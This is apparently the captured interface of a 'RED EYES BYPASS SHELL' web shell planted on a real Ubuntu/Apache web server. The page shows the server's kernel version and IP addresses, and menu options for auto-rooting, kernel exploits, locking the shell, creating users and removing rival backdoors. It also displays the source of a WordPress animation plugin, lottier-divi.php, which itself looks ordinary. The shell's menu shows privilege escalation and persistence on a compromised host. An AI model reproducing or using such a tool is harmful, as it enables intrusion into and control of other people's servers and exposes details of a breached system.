Linux sothorn202 5.15.0-161-generic #171-Ubuntu SMP Sat Oct 11 08:17:01 UTC 2025 x86_64
Apache/2.4.52 (Ubuntu)
: 202.28.82.202 | : 216.73.216.9
pkexec version 0.105
Cant Read [ /etc/named.conf ]
iqtd
RED EYES BYPASS SHELL!
Terminal
Auto Root
Adminer
Backdoor Destroyer
Kernel Exploit
Lock Shell
Lock File
Create User
+ Create Folder
+ Create File
/
home /
pr /
wp-content /
plugins /
lottier-divi /
[ HOME SHELL ]
NAME
SIZE
PERMISSION
ACTION
css
[ DIR ]
drwxr-xr-x
images
[ DIR ]
drwxr-xr-x
includes
[ DIR ]
drwxr-xr-x
js
[ DIR ]
drwxr-xr-x
json
[ DIR ]
drwxr-xr-x
languages
[ DIR ]
drwxr-xr-x
media
[ DIR ]
drwxr-xr-x
sass
[ DIR ]
drwxr-xr-x
scripts
[ DIR ]
drwxr-xr-x
src
[ DIR ]
drwxr-xr-x
styles
[ DIR ]
drwxr-xr-x
asset-manifest.json
241
B
-rwxr-xr-x
changelog.md
135
B
-rwxr-xr-x
lottier-divi.php
11.91
KB
-rwxr-xr-x
package.json
787
B
-rwxr-xr-x
uninstall.php
3.4
KB
-rwxr-xr-x
Delete
Unzip
Zip
${this.title}
Close
Code Editor : lottier-divi.php
<?php /** * Plugin Name: Lottier for Divi * Plugin URI: https://1.envato.market/lottier-divi * Description: Lottie animations in just a few clicks without writing a single line of code. * Author: Merkulove * Version: 1.0.0 * Author URI: https://1.envato.market/7BP55 * Requires PHP: 5.6 * Requires at least: 3.0 * Tested up to: 5.5 **/ /** * Lottie animations in just a few clicks without writing a single line of code. * Exclusively on Envato Market: https://1.envato.market/lottierdivi * * @encoding UTF-8 * @version 1.0.1 * @copyright Copyright (C) 2018 - 2022 Merkulove ( https://merkulov.design/ ). All rights reserved. * @license Envato License https://1.envato.market/KYbje * @contributors Nemirovskiy Vitaliy (nemirovskiyvitaliy@gmail.com) * @support help@merkulov.design **/ namespace Merkulove; /** Exit if accessed directly. */ if ( ! defined( 'ABSPATH' ) ) { header( 'Status: 403 Forbidden' ); header( 'HTTP/1.1 403 Forbidden' ); exit; } /** Include plugin autoloader for additional classes. */ require __DIR__ . '/src/autoload.php'; use Merkulove\LottierDivi\CheckCompatibility; use Merkulove\LottierDivi\EnvatoItem; use Merkulove\LottierDivi\Helper; use Merkulove\LottierDivi\PluginHelper; use Merkulove\LottierDivi\PluginUpdater; use Merkulove\LottierDivi\Settings; /** * SINGLETON: Core class used to implement a Lottier plugin. * * This is used to define internationalization, admin-specific hooks, and * public-facing site hooks. * * @since 1.0.0 **/ final class LottierDivi { /** * Plugin version. * * @string version * @since 1.0.0 **/ public static $version = ''; /** * Use minified libraries if SCRIPT_DEBUG is turned off. * * @since 1.0.0 **/ public static $suffix = ''; /** * URL (with trailing slash) to plugin folder. * * @var string * @since 1.0.0 **/ public static $url = ''; /** * PATH to plugin folder. * * @var string * @since 1.0.0 **/ public static $path = ''; /** * Plugin base name. * * @var string * @since 1.0.0 **/ public static $basename = ''; /** * The one true Lottier. * * @var LottierDivi * @since 1.0.0 **/ private static $instance; /** * Sets up a new plugin instance. * * @since 1.0.0 * @access public **/ private function __construct() { /** Initialize main variables. */ $this->initialization(); add_action( 'divi_extensions_init', [ $this, 'init_lottier_divi' ] ); } /** * Creates the extension's main class instance. * * @since 1.0.0 */ function init_lottier_divi() { require_once plugin_dir_path( __FILE__ ) . 'includes/Lottier.php'; } /** * Setup the plugin. * * @since 1.0.0 * @access public * * @return void **/ public function setup() { /** Do critical initial checks. */ if ( ! CheckCompatibility::get_instance()->do_initial_checks( true ) ) { return; } self::send_install_action(); /** Define admin hooks. */ $this->admin_hooks(); /** Define hooks that runs on both the front-end as well as the dashboard. */ $this->both_hooks(); } /** * Define hooks that runs on both the front-end as well as the dashboard. * * @since 1.0.0 * @access private * @return void **/ private function both_hooks() { /** Load translation. */ add_action( 'plugins_loaded', [$this, 'load_textdomain'] ); } /** * Register all of the hooks related to the admin area functionality. * * @since 1.0.0 * @access private * @return void **/ private function admin_hooks() { /** Initialize plugin settings. */ Settings::get_instance(); /** Initialize PluginHelper. */ PluginHelper::get_instance(); /** Allow SVG files in the media library. */ add_filter( 'upload_mimes', [ $this, 'allow_svg_uploads' ], 1, 1 ); /** Plugin update mechanism enable only if plugin have Envato ID. */ $plugin_id = EnvatoItem::get_instance()->get_id(); if ( (int)$plugin_id > 0 ) { PluginUpdater::get_instance(); } /** Add plugin settings page. */ Settings::get_instance()->add_settings_page(); /** Load JS and CSS for Backend Area. */ add_action( 'admin_enqueue_scripts', [ $this, 'admin_styles' ] ); add_action( 'admin_enqueue_scripts', [ $this, 'admin_scripts' ] ); /** Load JS and CSS for Frontend Area. */ add_action( 'wp_enqueue_scripts', [ $this, 'frontend_scripts' ] ); /** Remove all "third-party" notices from plugin settings page. */ add_action( 'in_admin_header', [$this, 'remove_all_notices'], 1000 ); /** Remove "Thank you for creating with WordPress" and WP version only from plugin settings page. */ add_action( 'admin_enqueue_scripts', [$this, 'remove_wp_copyrights'] ); /** Divi passing variables. */ add_action( 'wp_ajax_mdp_get_widget_id', [ $this, 'mdp_get_widget_id'] ); add_action( 'wp_ajax_nopriv_mdp_get_widget_id', [ $this, 'mdp_get_widget_id'] ); } /** * Divi passing variables */ function mdp_get_widget_id(){ $random_number = rand( 0, 1000 ); $result = [ 'widget_id' => 'mdp-lottier-'.$random_number, ]; echo json_encode( $result ); wp_die(); } /** * Remove all other notices. * * @since 1.0.0 * @access public **/ public function remove_all_notices() { /** Work only on plugin settings page. */ $screen = get_current_screen(); if ( null === $screen ) { return; } if ( $screen->base !== "settings_page_mdp_lottier_divi_settings" ) { return; } /** Remove other notices. */ remove_all_actions( 'admin_notices' ); remove_all_actions( 'all_admin_notices' ); } /** * Initialize main variables. * * @since 1.0.0 * @access public **/ public function initialization() { /** Plugin version. */ if ( ! function_exists('get_plugin_data') ) { require_once( ABSPATH . 'wp-admin/includes/plugin.php' ); } $plugin_data = get_plugin_data( __FILE__ ); self::$version = $plugin_data['Version']; /** Gets the plugin URL (with trailing slash). */ self::$url = plugin_dir_url( __FILE__ ); /** Gets the plugin PATH. */ self::$path = plugin_dir_path( __FILE__ ); /** Use minified libraries if SCRIPT_DEBUG is turned off. */ self::$suffix = ( defined( 'SCRIPT_DEBUG' ) && SCRIPT_DEBUG ) ? '' : '.min'; /** Set plugin basename. */ self::$basename = plugin_basename( __FILE__ ); /** Allow JSON files in the media library. */ add_filter( 'upload_mimes', [ $this, 'allow_json_uploads' ], 1, 1 ); } /** * Return plugin version. * * @return string * @since 1.0.0 * @access public **/ public function get_version() { return self::$version; } /** * Remove "Thank you for creating with WordPress" and WP version only from plugin settings page. * * @since 1.0.0 * @access private * @return void **/ public function remove_wp_copyrights() { /** Remove "Thank you for creating with WordPress" and WP version from plugin settings page. */ $screen = get_current_screen(); // Get current screen. if ( null === $screen ) { return; } /** Logger Settings Page. */ $bases = [ 'divi_page_mdp_lottier_divi_settings', 'settings_page_mdp_lottier_divi_settings' ]; /** Plugin Settings Page. */ if ( in_array( $screen->base, $bases ) ) { add_filter( 'admin_footer_text', '__return_empty_string', 11 ); add_filter( 'update_footer', '__return_empty_string', 11 ); } } /** * Loads the Lottier translated strings. * * @since 1.0.0 * @access public **/ public function load_textdomain() { load_plugin_textdomain( 'lottier-divi', false, self::$path . '/languages/' ); } /** * Add CSS for admin area. * * @since 1.0.0 * @return void **/ public function admin_styles() { /** Add styles only on setting page */ $screen = get_current_screen(); if ( null === $screen ) { return; } /** Settings Page. */ $bases = [ 'divi_page_mdp_lottier_divi_settings', 'settings_page_mdp_lottier_divi_settings' ]; if ( in_array( $screen->base, $bases ) ) { wp_enqueue_style( 'merkulov-ui', self::$url . 'css/merkulov-ui.min.css', [], self::$version ); } elseif ( 'plugin-install' === $screen->base ) { /** Styles only for our plugin. */ if ( isset( $_GET['plugin'] ) && $_GET['plugin'] === 'lottier-divi' ) { wp_enqueue_style( 'mdp-lottier-divi-plugin-install', self::$url . 'css/plugin-install' . self::$suffix . '.css', [], self::$version ); } } } /** * Add JS for admin area. * * @since 1.0.0 * @return void **/ public function admin_scripts() { /** Add styles only on setting page */ $screen = get_current_screen(); if ( null === $screen ) { return; } /** Settings Page. */ $bases = [ 'divi_page_mdp_lottier_divi_settings', 'settings_page_mdp_lottier_divi_settings' ]; if ( in_array( $screen->base, $bases ) ) { wp_enqueue_script( 'merkulov-ui', self::$url . 'js/merkulov-ui' . self::$suffix . '.js', [], self::$version, true ); } } /** * */ public function frontend_scripts() { wp_enqueue_script( 'lottie-player', self::$url . 'js/lottie-player' . self::$suffix . '.js', [], self::$version, true ); } /** * Run when the plugin is activated. * * @static * @since 1.0.0 **/ public static function on_activation() { /** Security checks. */ if ( ! current_user_can( 'activate_plugins' ) ) { return; } /** We need to know plugin to activate it. */ if ( ! isset( $_REQUEST['plugin'] ) ) { return; } /** Get plugin. */ $plugin = filter_var( $_REQUEST['plugin'], FILTER_SANITIZE_STRING ); /** Checks that a user was referred from admin page with the correct security nonce. */ check_admin_referer( "activate-plugin_{$plugin}" ); /** Do critical initial checks. */ if ( ! CheckCompatibility::get_instance()->do_initial_checks( false ) ) { return; } /** Send install Action to our host. */ self::send_install_action(); } /** * Allow SVG files in the media library. * * @param $mime_types - Current array of mime types. * * @return array - Updated array of mime types. * @since 1.0.0 * @access public */ public function allow_svg_uploads( $mime_types ) { /** Adding .svg extension. */ $mime_types['svg'] = 'image/svg+xml'; $mime_types['svgz'] = 'image/svg+xml'; return $mime_types; } /** * Send install Action to our host. * * @static * @since 1.0.0 **/ private static function send_install_action() { /** Plugin version. */ $ver = self::get_instance()->get_version(); /** Have we already sent 'install' for this version? */ $opt_name = 'mdp_lottier_divi_send_action_install'; $ver_installed = get_option( $opt_name ); /** Send install Action to our host. */ if ( ! $ver_installed || $ver !== $ver_installed ) { /** Send install Action to our host. */ Helper::get_instance()->send_action( 'install', 'lottier-divi', $ver ); update_option( $opt_name, $ver ); } } /** * Allow JSON files in the media library. * * @param $mime_types - Current array of mime types. * * @return array - Updated array of mime types. * @since 1.0.0 * @access public */ public function allow_json_uploads( $mime_types ) { /** Adding .json extension. */ $mime_types['json'] = 'text/plain'; return $mime_types; } /** * Main Lottier Instance. * * Insures that only one instance of Lottier exists in memory at any one time. * * @static * @return LottierDivi * @since 1.0.0 **/ public static function get_instance() { if ( ! isset( self::$instance ) && ! ( self::$instance instanceof self ) ) { self::$instance = new self; } return self::$instance; } } // End Class Lottier. /** Run when the plugin is activated. */ register_activation_hook( __FILE__, [LottierDivi::class, 'on_activation'] ); /** Run plugin class once after activated plugins have loaded. */ add_action( 'plugins_loaded', [LottierDivi::get_instance(), 'setup'] );
Close